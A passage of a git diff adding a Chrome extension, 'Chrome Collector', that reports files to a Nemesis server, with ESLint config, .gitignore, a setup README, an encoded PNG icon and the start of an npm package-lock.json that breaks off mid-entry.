b/cmd/chrome-extension/.eslintrc.json new file mode 100644 index 0000000..923c025 --- /dev/null +++ b/cmd/chrome-extension/.eslintrc.json @@ -0,0 +1,30 @@ +{ + "env": { + "browser": true, + "es2021": true, + "node": true + }, + "extends": [ + "eslint:recommended" + ], + "globals": { + "document": false, + "escape": false, + "navigator": false, + "unescape": false, + "window": false, + "describe": true, + "before": true, + "it": true, + "expect": true, + "sinon": true, + "chrome": true + }, + "plugins": [], + "parserOptions": { + "ecmaVersion": 2020, + "sourceType": "module" + }, + "rules": { + } +} diff --git a/cmd/chrome-extension/.gitignore b/cmd/chrome-extension/.gitignore new file mode 100644 index 0000000..db27d6c --- /dev/null +++ b/cmd/chrome-extension/.gitignore @@ -0,0 +1,3 @@ +release.zip +node_modules +dist \ No newline at end of file diff --git a/cmd/chrome-extension/README.md b/cmd/chrome-extension/README.md new file mode 100644 index 0000000..a4aacae --- /dev/null +++ b/cmd/chrome-extension/README.md @@ -0,0 +1,53 @@ +# Chrome Collector + +Chrome Collector is a browser extension that interfaces with the Nemesis server. This README provides detailed steps on building, adding, and configuring the extension. + +## Table of Contents + +- [Building the Extension](#building-the-extension) +- [Installing to Chrome](#installing-to-chrome) +- [Configuration](#configuration) + * [Basic Configuration](#basic-configuration) + * [Allowlist](#allowlist) + +## Building the Extension + +To build the extension, follow these steps: + +```bash +cd $NEMESIS_ROOT/cmd/chrome-extension +npm install +npm run build +``` + +## Installing to Chrome + +1. Open your Chrome browser. +2. Navigate to `chrome://extensions` in the omnibar. +3. Enable Developer Mode by toggling the switch in the top right corner. +4. Click the "Load Unpacked" button. +5. Navigate to `$NEMESIS_ROOT/cmd/chrome-extension/dist` in the file explorer and select it. + +**Note:** If the Nemesis options page appears, it means the extension was loaded successfully. + +## Configuration + +### Basic Configuration + +1. Start the Nemesis base server. +2. In the extension's options page, provide the following details: + * Nemesis base URL + * Web API username + * Web API password + +The agent ID helps identify the data source in Nemesis. It is set in the metadata field for every file uploaded by the Chrome application. + +**Tip:** The options page typically opens automatically upon installation. If you need to revisit the options page later, click on the extension's icon in the Chrome toolbar and select "Options." + +### Allowlist + +1. Navigate to the extension's options page. +2. Enable the "Use Domain Allowlist" switch. +3. Add domains and/or IPs to the allowlist. + +**Note:** IPs should be specified with a CIDR range. For a single IP, use the /32 CIDR range. E.g., `127.0.0.1/32`. \ No newline at end of file diff --git a/cmd/chrome-extension/assets/img/icon128.png b/cmd/chrome-extension/assets/img/icon128.png new file mode 100644 index 0000000000000000000000000000000000000000..9a23ad2fd81b747faebdc317ab2eba5750776e68 GIT binary patch literal 8913 zcmZ{Kbx<5n(Dnfb9IiovI|K>t?k>S01Pku&8k{3&I9!9f2lvCB;4Z-}1h@Bo-+$j* z_14br)Xq+C?e^2%)78&JtEws1gDiQ!d zT|C;eDI)Bi(p>(N3IO0s51SVT06hLT{}2H1UO#lGFGys6mIjc=W81?|kOi4}} z@b=%4*IAMb8$otgP?14CK*qr1LjP)3X8{|6b8=PHf}1Mv$^ZbUh83hGw7gf&0(|_n zWZG^GwXIIv9^G^2vcs_9LlOXmm<2nOJCu~|@ThE{L&RnHO+H_;E519v$&$$n!3`m< zJIr77d3ifX62zWf_$|cl>iBYUh@=Y%RcaR}0@|AtDv~95c|vGp7yA!rkM89albSbO z+D_V?SUo;jLvNOOpLO#PZY)}>m96+n4W+h*)qit*N_|QLo87||8s%>tgalj6eAca! zx_7~zR%%{9naq`?T{jzfuNjOK`h~YYsJ!9^iq~3g@+9GE6w*MWh6^FYUmx&J^x@|!eW$M2NSr5lC~Fm{7_l?*=jB%>K`Jv%s1 zcr%g;6+k4C463TAvI7sE6x5ZR9P=4)fUyx7t$wyJ?za`6NqaGfgVQ?{;3y+z2ni$3j^0Qd1yT@UxRIjh&TWt^_)q6Q*k~F0=bX?8j3G2T#G*(oJib^ zLgoO4vDzN_n%$Tv17?6=rp%9Jo2_^h$nYSO(BgGzX-f|DOEu|uXhCbWi_i=i3S*K( zOZ(>rpVk(XlpJnB{Ji+`c=%HWCT`+cMzz`;(qevW7lO^a57SB8d zMx-Gj#T9+84iPx2?lh4z7$EUOhVp=r;>}k{|IpLWLj~|t)H@QSX3|)!otr?WG z5Icgdp4t_#nTCM)@;g;+cGX`m?BLBACPa`-hyqlWG`D+lG2+GO=D)EMpjZMp#zLFz zeS_LvBhTB?7Z5l%36-CuXtD3O6C zp^*Zl?=S;coE4Sua44;j<7)o-iJ{$7?JC3$yDVB8gs*dC;a1Z@nt%(LiD%ne(#wI& zR?N!81VlXphfZlaNC8g1of=$x-?!IrgY&wL(renC2FyZG@KrlwfwDm|mfFK_-xo=^ zs=#Q{gcY}R8FrimWb`WgoYK>VEE-35fyZ~6ia1ayvSYJIUL2I$)JkL&-(r70=BahyN+8KoJ{K_hd|A7ZwFr2YMpAu`R^CKH-r4--$RhQuwy+gWCzU%=k zpBUy6-4$m~X%*8#49pm78ZQ3wm1=&r{w=xo0CyXLu4Z)KsQD_a&>`bBk$n21DJ%vL z0Cx?ZmdTqGE?!#By%P+rrURJzM@v;XA0}hhG?U&_g>IT%edxZ578BJ&!h8HNZsIg9i zpXB8`%pqLub|e(uig2_m7i%FHti;AZ_;fYol@KcFk7W$#0a z_!7~~Qt=R#jIyKa6$3W^@S}2hli0-*rTu6EDr9{`S3p*J$aC$r!PR^&B;8R|8P1vX244L-R07ZrE$TI z^bFjhX`O7@zSe@~sxWq?m`ob^V%V`EPI&t2MGgmgna^i)Kc1^Sv=^WOWB(&h`w_Tn z9@Nvw*;EcH93%T)q#8haSp`8`)i*2Jyl(B*JVTHqEWbrmeeq>EW)0#{oMvNZM%cg# zcpcA7m~rw{WD>DhB~|HG(Ryq=7JUL$pguJFboSb}sfo$tR2*^nw8~W!%^BBe6JK`i zUJtcd9u469bt^G1D~|)J+80m>L}6gQq(gIWeY-G$ToeOVvT`W3XwM!Q&GMd~*G7ZM zsV*g{pF6e%a^j+=>0Ba;Cm{0@1d7=-)L~r*CMqm?XII{wSmcz9KlaD8ZfLs2Ds1_I zrWw_&No0i08As$hTg%p$7Bw2H#Jy*?c;X=9ZFjBG73(c~R^&=ZUKMxO=)p1}x}_tv zwAlOGVy_6-7wJ! z<{bQnADIKb21Oi=COAbd5~{inb2P>RfC%^&`C}s4^5;O6Z0RACN07eSW1Nv_5Vf0O z^t6e#(cXNq$xJ%AIMhk%S;5$I3{m{>pv|*Js=FY1>?_M7S!yY|x7X9N4pfE;%%<~u zQ1!)tmfrxeWz#acJkP78=B4+n5@i@NkPZuXr76W}AoL#W#|U#Zxo;#Q1#o;OPXzE$t-j=C9~2)} z%fy)1hR>P}MuH4Uu)3|i1nvb!1+@XOnu91J*(vuCQrbQ)m zU?Eb6xA&|8&!qqUysxjdpp&u+4j2%6m@ILzs*jW~_Ra?e6+-NJGcRRDXqSnPlmPe@)>Ek^w>VTomY41wLinpxi{V5P1 z_q-`|Cos$|2Pc=*RvID2(bp=76jZW6=y+a{Db`} z_Ihm)PBBvkH;$&J7Cp_pt*;~_^I(x6s$2$zCN=?Fa8+N7_ zUQ!<#f@(tNXvQ{TcmPrlKnt~>J*a8Dm-aPMnmR+DCj%AC9rGDw%I@FSLNmZ`sy7a1 z8s-!nxQ2IfNdVdDAllG3ea+;DNd;HtW6mWLE097cj#IvaJ?qdYfW^3D5 z9NsE5souMB{^YPgQY)*3pKwI@>O}oYkQME3J&DqNqvJ*4D%Z*4Tgcy4>Y1n!0rCK? zNCaZsg!K`AB=yWFtF~rIb?PxUp2ez;s%iKYd`iW~ignn!)9Lhn<5mVAUnZT?!}iOU zjfmspm6es#*R)=*kgb~j#41dWXeo-h#)O}M0kc9li%+Vi}A@6B2!ly4z^Bdk^DgGo_sp;gez{ zqi%b)k>=6mMu=Gn`~p)7viR>ozJuUONA`LHV3Ao*Psp3q(X4)h<^KLYofxsG|9t|L zRI}4&m;Xad_v_6^{mN80042VfeW}wuB~jL{=O%P4Amf&V1?o$;^~F9@PrdQO>E;Sg zo%QevvPq)|&ch?O2)wC#V*k}iN2nj&5F&vj(;rdAX~VRQgFE5H>FMd}?BtG)4w+a2 zR^u-Jzk4I~EG42lKChu@Y-yYpil(OV-;l9&rDurmG(^=={SWF?1nkuuCBPZAU1 zYq-ZzV(FaS0LkJR4s9M)@)^fdw3+-UrqhASBOkp#jgcs*ISkU4r1_yd84cW(Jhr{` zVvlw0DkV9Lrj*4C*PHc*B2JKX^We+;_p|p`yKvJX2u}@7@;!N?1VId>YiOy4NxtUe z4awZtP$YKY8OxITMxl96%C>c&`vxLL7#pqw9f~CfG=pYV_z{bXyZv_QvF)+)79k@> zx<3NL?@v0<$BxTqZC#`AtFjg7?$zQKzn4KmcygYM1GVOGY);$x(tN2% z$CbvTL^<;11}nAZ{z(coVPoC99NcF@$djk)D3`t~ zvYB#W`{W0DF}x7n*w~L7wAk3G&wd#*auxbGdDPbB?J}rq9586GeK=Ey^?KVfI5=3g z=_QzrM#%d3ckH8K(A!d-IhM#j^;}W9vkH`*VVVG?&cXlQ)3s9%Q5pkwow51VNeL{~ ztZ9D!!^9>uTk$p(ro6hL?KOZ4u)H0521=v}Kdc-d!*b@=rEtP8X^)K9ph}~5&y_|S zEYZuJnL;^DiU8C8X7YJck3-4C#etDg#6i)_9y*}v78YZ z^l7BEs$w#;+Q7!b0x7oEpSJs>9w%SOg>K(}7y3P;JhlQ;YUOeRA=~F)R#Q21FAv*N zk>~9fe2d0GFR>rH@NIpZ{4Te8fBaCZHtr654nq;nT@M(o78P7#byOfAB-{*oLonoZ zO6T*cE-x>Oe|^1K^jh~hh~wM%1@qner`FQ!b9!s;$ zTrrmDy~)DqvJ!-ijN94dnx?6>;3*!#H17V?y(a3k(b4_9zw24KGFuz;_UZ>=%@hrQ zR@8L8k8TEuV2}yA_dY+AP0}+A?@!Up_w}D`c6Zm;A3q!{7JDpVhJJe7j->FvUCt@f zEZOi_G=dlh3Q+x=K-~kb?-$&*YzF#`v9|bM4H6n@1@e=AX>nX{zvy}z=bBQ@;O1DI z5D9nWK!XpCh=_3Nerc`Tv2u1G z>UGoHqoHq;q;Q$XCsrg3ym{VfjSPnyS7cihG=gqQvjy()Q*W`(-kEa(^JSJ#k_{p& zZ(<197h#1cZf;V$Qjy=o>J^xbb#y#e9a;oPzgOFRm_kdYS7|f5zpQ?W_N26f=R7Uq zm=iqF-_f$tP*=Ykz*DOi_b1Je2GGToLdjSQOsrdz0ZcM21GlayVC_wn7s>lF?OhzK>)ZP5_{Fq)YLREIQDGM6icDCIh-D&SIb}-`}_K`iTthC z6XMjeYBky6F&MMoU^S&G^xjBU*H~No1}1pLa+i+%{$M_WQyGrE2M(U(rHhxVs_`je zd|5;O*OcGw4Z(j=2G)FH#=sl?a+zXO&((2-P~Z<$UQL?wR>IU z@YtmmFfOMmfQY#)$5UAi&Fb_F>b9MKwYB*UMBxyV#rND}(Y^S0s%>B`sjnEHo<6}@ zMaCt(>CT@#b?w8#R}TGq@J{_>65Q(JO>R;ygDaVcYA6b^fa_ib37;(WOyk|VXlXvj zHGbE<-$YiA%-@hOe4nov-jk3Ray`z-QEa+jPw-~4?q+On9>5A{lt8S-rUS)Ca%Ltc za@3Jbb~(jS-5aLX@gwnHg_tTDDTY=PE1iCPMcilWJlx!sdRN0eA>SrHOG-%ecHV8Y z!@Oic*W&g=uiSUAHJkweCZ|Ww_ zIL^BkemQ1Oy_^AL&gjw7J1{((9aa~XmX^AM(yQ$z;=k&5?ZlYk(JOE9JHEZXZ0jTu z^JY3c{v&4AsZ8T@${G8;gZpF1yi&j6&v|=LtHszK_1jRtety%Rv~n&5nJ^+M%!dU3&MC0C z{R-T5HtYfQM0R*w&-8CglZ@C$*d8NwPN$myur2M2U3U7NW&c#ayrgh=^5X{3kO~eL zQfn{*!I`ArhE3R=ckyL(?ITN<6ScVO^z1J-ro2vHbKs-f1OT=lAz9zhvIXQ9Iwo`pSIjL#s|s=Xi5#w~b!IiuSHVD3=NB4qEiP zI9s{Npe1Xe&;@?bwh%8e-`yY;?|xLuR*KpVmxXJl{CS)5jBbU zbM&VuxpYEO2U#FkI%XW&duKx$``NgU`BbYuRua`5c=YM_#_)FGmA4#Q=HmSPsrOma z)ZIBN%jt5vSMHx5^IZYPB9}b~u=Jp}JLpEcBvNZix#vgQ?WU(LRHUOs% zAhCd4^|b)I#LSyBCxw%YDPp_vP|szwAYmJ6AQf&Cq!;2G%8`Jxzc_gwWVQ0C76EVT zUa(jQb6bbl z_CRPbITD!oWla6}Q}_c~h9^;Cg>@YpekdhjNOdZ7qeRBb7F20Ul){T?FA}cI_u?0( z9$jJLc~jv8QjLYpIusb&lo@Fx5n~8`Qq7@7A@zFZmMG!k-wurFVCpW7M**2I)DbL@ z+kv5QJ#47){}?kS`Jp}i+az&#egUs@FTMnLdrDc~jjgM3q85q!04_M+ORJB)y;Yt;&97>$hx=Q} zhnr7cLA-r?cj=)|)fPQ;jG$>HGw)8CdtsOnUL33fIitHx)>swJ^iHn)OMn2NkmV`u zZ^-lU@!>O1esY@8gN5}m1+>DV!S5j=>(fs38^7qW}=qJu{jxzXm z`nM>m1rS5jHC|mB>Kt9UR(KFsKnidU-jMlY(C-#8z+uJE1HJB^UwdJK4@Mwm`8ywI z;vGM*OM#4l5=}9v5EVi;ts52S0#(-?ufL6ubQ&}_4LKP?n@oB4O?CSNHCX+3R1aCq z5S~%3(3IQP%5&dgZT8$H)T-noB^&_Uy!>>8-u=^@)+;)Y9cqi+Zcx|G$R2DK19hI| zSN%}L_+V-0^Dl4HZ3~PtG36NgH53(O1|Z7srZ3p!B^=sP>F&m4M4|+AhJl|S5}oh8 zc!sP0Cjj;L_B3*|}GKvsgtP%1as@1D(`>svRK|3ac`h`uh zqgU$zh{4KiBHf%xHW#Ovb8p>}DF6GR5SRDFoHq+j?!k26WVE9+pl9fifxB+y^8EH; z(%`KD51aeQbnHF+0Q|2Q2-JFIl^lVn0p*!=;s;g~Tp@UZvRPbX1}!dqG-62Qq$vWr z-n->)WK6k&tjD&SX3AClO0YN?>7__9lTUt-P}cwNf= zQjfjD40?K4~zyB;z8$YYh~>kat06L#2s!4lhR%@MlaM z7KVE-H#}wZ*ximsaOLV$A=7M2A@Q5#*3PNF7z!1)^popHJhDAf?){a_!v04sjVJN& zN`5|5etNtJpYvhXl*=W=h!`{g@BHbW_|MSgtauEEP}#*i>BEuCjNXiAe)+s9e`=J~ zFIgD7)h^k)KAu9?1$6r~M~cF6C^f^c@fvMgBT-48!><$q!qEB=#C&+gtUzW@)t4s_ zU=zA^SL+irt*3A7MU93-&#j|Tvp3j)JMH*YT715~>!)Rz*$Enu!Ei7s2#g+j>$U|y zz|+a|y;nS9XiPDYn!>V?qhCc4`d!Z4DME4+dqE06_LHZG50V%hr-Y6#<6o*VZq?+| zc5&Q;g9EXjZBTVp#Sv087>%-p#qoAQa@>Ui*+u)FDLy9X?yX)=~s*4@FP;?9sox}LD^A*8HmPD^i7)4DfA?c zrvI4g%O$(`{JX4quj5`lExN`6XcAEkY`XnJZM28)QWr^D4%tfz`^w@i9LfuabRIi% zEodTRILQCFYwnZrs5IU&OCtp&qzu{^BJ-Oq1+r~p`PXj#KSskNTa8>J{f^riGK|V(t51 zI5r5r_aDs6&Pq|jcl2z%NI2bR|D+j2%k*JmzGEh(5gAwvsmfi_CX8ozOR&wl2?Lqo~Rqr&FkmUkq^90c7 z+3iD{9TLH{O5U`YdJuTLJTItZDl^=kUlIY|r>l5#czKPW5M2*>eg;PtB1jrbwn9tW zm}DsDR3}}udC$%KGT_>r*Xig@V?+bVjBvvbhxnWu7>Q-u-z!BAyXlWc zFbfA|D=l(7xTV(DtA=z-c(K+lf3$8jiot#i>1l|b7K|^c=5n{?8W8BDp6#cfaA|eI z+v{R|BI~!NC{~k!&%~fVjzX<7y@~+y0uyKp7FAau>!z}6g@8Y#bNLUr>Lkm$3rp!;F zh|e3JG!b8Yjf@$E*ld+}pIh}V>H0NEMpVgo-zl`-4Az@FGY`4_bq6o<=fu4_>Qde< z0{xi(I<(n&GA}!$6?UfSgg*;)EKfKCf@$^?OJG&VI9nyh0JJ!feXd(XL8~wi>{bTY zMu9@A^0uXXqu9ZP`t6Hg{UbilC$3}+IqN(l{nB=)9?A00j-MP~q}Z9ibs2pzCU8A5 z0-wX!@vIb##ndITequ_X;6hF^r83_bvv5TnW((>_0oB|P zN7m1vidr3d0%@6lt7-hPd1TG1!dP~;*G3F*;z4ZTfI@`GVD)!?YqCVBke>aIse6`$ zaD!U`Cp#~hPrMy{`6}WCvwx9PlQCPjo5okOACr$C95-4$;(%9BOoJHuYMyg5+xnMQgs*)9Wbm)W*10ZEJ3bMf0}AHOTV$ zz+;qh-a@;M9E7tUVt)KG`blej<$#8p>)U)ewV&w3EJSKwm zN~uWz3s{uF-eRe{e|N;QbAjxVhK3SFW~=6RBkJH0@Sh~hzohMv57YtV+23;NwQOPh zx2=0.10.0" + } + }, + "node_modules/@alloc/quick-lru": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/@alloc/quick-lru/-/quick-lru-5.2.0.tgz", + "integrity": "sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@ampproject/remapping": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/@ampproject/remapping/-/remapping-2.2.1.tgz", + "integrity": "sha512-lFMjJTrFL3j7L9yBxwYfCq2k6qqwHyzuUl/XBnif78PWTJYyL/dfowQHWE3sp6U6ZzqWiiIZnpTMO96zhkjwtg==", + "dev": true, + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.0", + "@jridgewell/trace-mapping": "^0.3.9" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/code-frame": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.22.5.tgz", + "integrity": "sha512-Xmwn266vad+6DAqEB2A6V/CcZVp62BbwVmcOJc2RPuwih1kw02TjQvWVWlcKGbBPd+8/0V5DEkOcizRGYsspYQ==", + "dev": true, + "dependencies": { + "@babel/highlight": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/compat-data": { + "version": "7.22.9", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.22.9.tgz", + "integrity": "sha512-5UamI7xkUcJ3i9qVDS+KFDEK8/7oJ55/sJMB1Ge7IEapr7KfdfV/HErR+koZwOfd+SgtFKOKRhRakdg++DcJpQ==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/core": { + "version": "7.22.9", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.22.9.tgz", + "integrity": "sha512-G2EgeufBcYw27U4hhoIwFcgc1XU7TlXJ3mv04oOv1WCuo900U/anZSPzEqNjwdjgffkk2Gs0AN0dW1CKVLcG7w==", + "dev": true, + "dependencies": { + "@ampproject/remapping": "^2.2.0", + "@babel/code-frame": "^7.22.5", + "@babel/generator": "^7.22.9", + "@babel/helper-compilation-targets": "^7.22.9", + "@babel/helper-module-transforms": "^7.22.9", + "@babel/helpers": "^7.22.6", + "@babel/parser": "^7.22.7", + "@babel/template": "^7.22.5", + "@babel/traverse": "^7.22.8", + "@babel/types": "^7.22.5", + "convert-source-map": "^1.7.0", + "debug": "^4.1.0", + "gensync": "^1.0.0-beta.2", + "json5": "^2.2.2", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/babel" + } + }, + "node_modules/@babel/generator": { + "version": "7.22.9", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.22.9.tgz", + "integrity": "sha512-KtLMbmicyuK2Ak/FTCJVbDnkN1SlT8/kceFTiuDiiRUUSMnHMidxSCdG4ndkTOHHpoomWe/4xkvHkEOncwjYIw==", + "dev": true, + "dependencies": { + "@babel/types": "^7.22.5", + "@jridgewell/gen-mapping": "^0.3.2", + "@jridgewell/trace-mapping": "^0.3.17", + "jsesc": "^2.5.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-annotate-as-pure": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.22.5.tgz", + "integrity": "sha512-LvBTxu8bQSQkcyKOU+a1btnNFQ1dMAd0R6PyW3arXes06F6QLWLIrd681bxRPIXlrMGR3XYnW9JyML7dP3qgxg==", + "dev": true, + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-builder-binary-assignment-operator-visitor": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.22.5.tgz", + "integrity": "sha512-m1EP3lVOPptR+2DwD125gziZNcmoNSHGmJROKoy87loWUQyJaVXDgpmruWqDARZSmtYQ+Dl25okU8+qhVzuykw==", + "dev": true, + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-compilation-targets": { + "version": "7.22.9", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.22.9.tgz", + "integrity": "sha512-7qYrNM6HjpnPHJbopxmb8hSPoZ0gsX8IvUS32JGVoy+pU9e5N0nLr1VjJoR6kA4d9dmGLxNYOjeB8sUDal2WMw==", + "dev": true, + "dependencies": { + "@babel/compat-data": "^7.22.9", + "@babel/helper-validator-option": "^7.22.5", + "browserslist": "^4.21.9", + "lru-cache": "^5.1.1", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-create-class-features-plugin": { + "version": "7.22.9", + "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.22.9.tgz", + "integrity": "sha512-Pwyi89uO4YrGKxL/eNJ8lfEH55DnRloGPOseaA8NFNL6jAUnn+KccaISiFazCj5IolPPDjGSdzQzXVzODVRqUQ==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-function-name": "^7.22.5", + "@babel/helper-member-expression-to-functions": "^7.22.5", + "@babel/helper-optimise-call-expression": "^7.22.5", + "@babel/helper-replace-supers": "^7.22.9", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.6", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-create-regexp-features-plugin": { + "version": "7.22.9", + "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.22.9.tgz", + "integrity": "sha512-+svjVa/tFwsNSG4NEy1h85+HQ5imbT92Q5/bgtS7P0GTQlP8WuFdqsiABmQouhiFGyV66oGxZFpeYHza1rNsKw==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "regexpu-core": "^5.3.1", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-define-polyfill-provider": { + "version": "0.2.4", + "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.2.4.tgz", + "integrity": "sha512-OrpPZ97s+aPi6h2n1OXzdhVis1SGSsMU2aMHgLcOKfsp4/v1NWpx3CWT3lBj5eeBq9cDkPkh+YCfdF7O12uNDQ==", + "dev": true, + "dependencies": { + "@babel/helper-compilation-targets": "^7.13.0", + "@babel/helper-module-imports": "^7.12.13", + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/traverse": "^7.13.0", + "debug": "^4.1.1", + "lodash.debounce": "^4.0.8", + "resolve": "^1.14.2", + "semver": "^6.1.2" + }, + "peerDependencies": { + "@babel/core": "^7.4.0-0" + } + }, + "node_modules/@babel/helper-environment-visitor": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-environment-visitor/-/helper-environment-visitor-7.22.5.tgz", + "integrity": "sha512-XGmhECfVA/5sAt+H+xpSg0mfrHq6FzNr9Oxh7PSEBBRUb/mL7Kz3NICXb194rCqAEdxkhPT1a88teizAFyvk8Q==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-function-name": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.22.5.tgz", + "integrity": "sha512-wtHSq6jMRE3uF2otvfuD3DIvVhOsSNshQl0Qrd7qC9oQJzHvOL4qQXlQn2916+CXGywIjpGuIkoyZRRxHPiNQQ==", + "dev": true, + "dependencies": { + "@babel/template": "^7.22.5", + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-hoist-variables": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.22.5.tgz", + "integrity": "sha512-wGjk9QZVzvknA6yKIUURb8zY3grXCcOZt+/7Wcy8O2uctxhplmUPkOdlgoNhmdVee2c92JXbf1xpMtVNbfoxRw==", + "dev": true, + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-member-expression-to-functions": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.22.5.tgz", + "integrity": "sha512-aBiH1NKMG0H2cGZqspNvsaBe6wNGjbJjuLy29aU+eDZjSbbN53BaxlpB02xm9v34pLTZ1nIQPFYn2qMZoa5BQQ==", + "dev": true, + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-imports": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.22.5.tgz", + "integrity": "sha512-8Dl6+HD/cKifutF5qGd/8ZJi84QeAKh+CEe1sBzz8UayBBGg1dAIJrdHOcOM5b2MpzWL2yuotJTtGjETq0qjXg==", + "dev": true, + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-transforms": { + "version": "7.22.9", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.22.9.tgz", + "integrity": "sha512-t+WA2Xn5K+rTeGtC8jCsdAH52bjggG5TKRuRrAGNM/mjIbO4GxvlLMFOEz9wXY5I2XQ60PMFsAG2WIcG82dQMQ==", + "dev": true, + "dependencies": { + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-module-imports": "^7.22.5", + "@babel/helper-simple-access": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.6", + "@babel/helper-validator-identifier": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-optimise-call-expression": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.22.5.tgz", + "integrity": "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw==", + "dev": true, + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-plugin-utils": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.22.5.tgz", + "integrity": "sha512-uLls06UVKgFG9QD4OeFYLEGteMIAa5kpTPcFL28yuCIIzsf6ZyKZMllKVOCZFhiZ5ptnwX4mtKdWCBE/uT4amg==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-remap-async-to-generator": { + "version": "7.22.9", + "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.22.9.tgz", + "integrity": "sha512-8WWC4oR4Px+tr+Fp0X3RHDVfINGpF3ad1HIbrc8A77epiR6eMMc6jsgozkzT2uDiOOdoS9cLIQ+XD2XvI2WSmQ==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-wrap-function": "^7.22.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-replace-supers": { + "version": "7.22.9", + "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.22.9.tgz", + "integrity": "sha512-LJIKvvpgPOPUThdYqcX6IXRuIcTkcAub0IaDRGCZH0p5GPUp7PhRU9QVgFcDDd51BaPkk77ZjqFwh6DZTAEmGg==", + "dev": true, + "dependencies": { + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-member-expression-to-functions": "^7.22.5", + "@babel/helper-optimise-call-expression": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-simple-access": { + "version": "7.22.5", + "resolved": 